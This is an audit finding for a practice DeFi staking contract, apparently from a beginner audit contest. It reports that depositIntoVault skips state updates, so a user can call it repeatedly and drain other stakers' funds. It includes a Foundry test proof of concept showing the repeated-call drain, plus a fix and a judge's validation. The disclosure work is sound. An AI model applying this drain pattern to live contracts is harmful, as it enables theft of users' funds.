Beginner FriendlyFoundryDeFi
100 EXP
View results
Submission Details
Severity: high
Valid

INCOMPLETE STATE UPDATE ENABLES FUND DRAIN

Summary

When the depositIntoVault function is called, shares are minted to the msg.sender proportionally, but the internal state of the contract is not updated. Specifically, usersToStakes[msg.sender] and totalAmountStaked are not correctly adjusted.

Vulnerability Details

After ETH is deposited into the vault and converted to WETH, the function fails to update the usersToStakes and totalAmountStaked variables. This leads to inaccurate internal state management, as the aforementioned values are not reduced accordingly.

Impact

The failure to update the internal state allows a malicious user to drain the staked funds by depositing only the minimum stake amount. Here's a possible exploit scenario:

  1. Alice, alongside other users, deposits the minimum stake amount.

  2. After 4 weeks, Alice repeatedly calls depositIntoVault() and receives shares corresponding to other users' deposits.

PoC

Insert the following test into steaking-contracts/test/Steaking.t.sol:

function _startVaultDepositPhase2(address _user, uint256 _amount, address _onBehlafOf) internal {
_stake(_user, _amount, _onBehlafOf);
_stake(owner,_amount , owner);
_endStakingPeriod();
vm.startPrank(owner);
steaking.setVaultAddress(address(wethSteakVault));
vm.stopPrank();
}
function testDepositMultiple() public {
uint256 dealAmount = steaking.getMinimumStakingAmount();
_startVaultDepositPhase2(user1, dealAmount, user1);
vm.prank(user1);
steaking.depositIntoVault();
vm.prank(user1);
steaking.depositIntoVault();
uint256 steakingBalance = address(steaking).balance;
uint256 expectedSteakingBalance = 0;
uint256 wethSteakVaultShares = wethSteakVault.balanceOf(user1);
assertEq(steakingBalance, expectedSteakingBalance);
assertEq(wethSteakVaultShares, 2*dealAmount);}

Tools Used

Manual Code Review

Recommendations

Ensure that the usersToStakes and totalAmountStaked variables are properly updated after each successful deposit to maintain accurate records and prevent potential exploitation during share issuance.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`Steaking:depositIntoVault` fails to update the users balance allowing contract draining to repeat call

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.